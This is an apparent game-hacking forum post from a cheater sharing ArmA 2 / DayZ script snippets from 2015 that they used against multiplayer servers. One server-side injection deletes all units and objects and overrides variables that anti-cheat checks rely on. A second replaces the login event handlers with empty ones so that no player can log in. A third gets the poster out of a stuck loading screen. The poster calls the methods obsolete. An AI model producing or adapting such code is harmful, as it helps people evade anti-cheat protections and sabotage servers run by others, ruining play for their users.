So all this stuff was done in like really early 2015 after scripts.txt was patched.
First attemp :
Code:
_code = (';if (isServer) then {
{
_x setVehicleInit ""; processInitCommands; clearVehicleInit _x;
deleteVehicle _x;
}forEach allMissionObjects "Rabbit";
{
_x setVehicleInit ""; processInitCommands; clearVehicleInit _x;
deleteVehicle _x;
}forEach allMissionObjects "Sheep";
{
_x setVehicleInit ""; processInitCommands; clearVehicleInit _x;
deleteVehicle _x;
}forEach allUnits;
playableUnits = {waitUntil {false}};
playableUnits = nil;
closeDisplay = "HIPZ RULES THIS SHIT";
closeDisplay = nil;
};');
(will flag that server functions is broken, he added that check cuz of me ha. Don't worry I found another way bro)
2nd attemp
Code:
_code = (';if (isServer) then {
"PVDZ_plr_Login2" addPublicVariableEventHandler {(_this select 1) call {}};
"PVDZE_plr_Login2" addPublicVariableEventHandler {(_this select 1) call {}};
};');
so once I found out about this new gay server functions broken thing(that rustler abused to shut down server) I found a more unstable way but it does the job :0.
Code:
ui_changeDisplay = 5;
endLoadingScreen;
0 fadeSound 1;
That was the code I used to get me out of the loading screen I got stuck at when I broke something I forgot,happend at reciving data.
All this is useless now and even back then it only broke a handfull of checks. Keep in mind u still need to nil closedisplay ect..